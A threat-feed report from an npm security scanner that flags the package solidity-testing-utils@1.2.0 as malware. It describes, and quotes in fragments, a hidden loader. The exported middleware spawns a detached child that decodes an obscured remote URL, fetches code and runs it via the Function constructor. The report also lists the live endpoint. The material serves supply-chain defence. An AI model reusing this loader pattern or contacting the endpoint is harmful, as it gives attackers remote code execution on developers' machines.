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solidity-testing-utils@1.2.0: Malicious npm security report | LPM Firewall

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Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

Arbitrary code execution in the consuming user's environment.

View on npm All versions

registry / solidity-testing-utils / 1.2.0

solidity-testing-utils@1.2.0

This document describes the management of vulnerabilities for the project and all modules within the organization.

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Calling the exported middleware silently launches lib/caller.js detached. That child fetches attacker-controlled code from an obscured endpoint and executes it locally.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Application calls the package's exported middleware factory.

Impact

Arbitrary code execution in the consuming user's environment.

Mechanism

Detached remote-payload fetch followed by dynamic Function execution.

Attack narrative

A consumer calling the exported middleware causes index.js to spawn lib/caller.js as a detached process. The child decodes a concealed JSONStorage URL, fetches a response field, constructs a function from that server-provided string, and invokes it with require access. The server can therefore supply arbitrary Node.js code after publication without modifying the package.

Rationale

The package contains a concrete remote code execution chain hidden behind its public API. The lack of lifecycle hooks limits automatic installation execution but does not mitigate the malicious runtime behavior.

Evidence

index.jslib/caller.jspackage.json

Network endpoints1

api.jsonstorage.net/v1/json/2ef8c758-a96f-459e-b036-b3b90379a165/f89e8264-86c2-4684-94da-c3f82d59370f

Decision evidence

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Exported middleware starts a detached child process.
Child decodes an obscured remote URL and request header.
Remote response field is passed to Function constructor and invoked with require.
No install lifecycle hook; execution occurs when the package API is called.

Evidence against

Behavioral surface

Source

ChildProcessEnvironmentVarsNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 17 file(s), 52.6 KB of source, external domains: github.com

Source & flagged code

5 flagged · loading source

lib/caller.jsView file

2L3: const axios = require("axios"); L4: const process = { ... L12: (async function loadCallers(..._args) { L13: const src = atob(process.env.DEV_API_KEY); L14: const k = atob(process.env.DEV_SECRET_KEY);

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

lib/caller.jsView on unpkg · L2

2L3: const axios = require("axios"); L4: const process = { ... L12: (async function loadCallers(..._args) { L13: const src = atob(process.env.DEV_API_KEY); L14: const k = atob(process.env.DEV_SECRET_KEY);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/caller.jsView on unpkg · L2

•matchType = malicious_source_fingerprint_signature signature = 306e52008bef5331 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = rust-testing-utils@2.3.0 matchedPath = lib/caller.js matchedIdentity = npm:cnVzdC10ZXN0aW5nLXV0aWxz:2.3.0 similarity = 1.000 shingleOverlap = 12 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

lib/caller.jsView on unpkg

12(async function loadCallers(..._args) { const src = atob(process.env.DEV_API_KEY); const k = atob(process.env.DEV_SECRET_KEY); const v = atob(process.env.DEV_SECRET_VALUE);

High

Ai Review Evidence

Child decodes an obscured remote URL and request header.

lib/caller.jsView on unpkg · L12

index.jsView file

32function runJobA(args) { const script = path.resolve(__dirname, "./lib/caller.js"); const child = spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "ignore" }); child.unref(); // allow parent to exit

High

Ai Review Evidence

Exported middleware starts a detached child process.

index.jsView on unpkg · L32

Findings

1 Critical5 High3 Medium3 Low

CriticalRemote Response Code Executionlib/caller.js

HighEval

HighBase64 Obscured Urllib/caller.js

HighKnown Malware Source Fingerprint Signaturelib/caller.js

HighAi Review Evidenceindex.js

HighAi Review Evidencelib/caller.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

99%Block

Verdict confidence

IntentMalware

TypeRemote Code Execution

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

AuthorTyler

Version1.2.0

PublishedAug 22, 2026

LicenseMIT

Dependencies4

Integrityverified

Package size87.3 KB

Files43

Keywordsfastloggerstreamjson

Runtime surface

package.json

Entrypointsmain → index.jstypes → ./index.d.ts

RuntimeNo engine / OS / CPU constraints

Artifact264 KB · 43 files1 signature(s)

Install lifecycleNo install hooks · other: smoke:file, smoke:pino

Behavioral surface

ChildProcessEnvironmentVarsNetworkHighEntropyStringsUrlStringsManifest: clean

LPM CLI

Source & flagged code

5 flagged

lib/caller.jsView file

2L3: const axios = require("axios"); L4: const process = { ... L12: (async function loadCallers(..._args) { L13: const src = atob(process.env.DEV_API_KEY); L14: const k = atob(process.env.DEV_SECRET_KEY);

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

lib/caller.jsView on unpkg · L2

2L3: const axios = require("axios"); L4: const process = { ... L12: (async function loadCallers(..._args) { L13: const src = atob(process.env.DEV_API_KEY); L14: const k = atob(process.env.DEV_SECRET_KEY);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/caller.jsView on unpkg · L2

•matchType = malicious_source_fingerprint_signature signature = 306e52008bef5331 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = rust-testing-utils@2.3.0 matchedPath = lib/caller.js matchedIdentity = npm:cnVzdC10ZXN0aW5nLXV0aWxz:2.3.0 similarity = 1.000 shingleOverlap = 12 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

lib/caller.jsView on unpkg

12(async function loadCallers(..._args) { const src = atob(process.env.DEV_API_KEY); const k = atob(process.env.DEV_SECRET_KEY); const v = atob(process.env.DEV_SECRET_VALUE);

High

Ai Review Evidence

Child decodes an obscured remote URL and request header.

lib/caller.jsView on unpkg · L12

index.jsView file

32function runJobA(args) { const script = path.resolve(__dirname, "./lib/caller.js"); const child = spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "ignore" }); child.unref(); // allow parent to exit

High

Ai Review Evidence

Exported middleware starts a detached child process.

index.jsView on unpkg · L32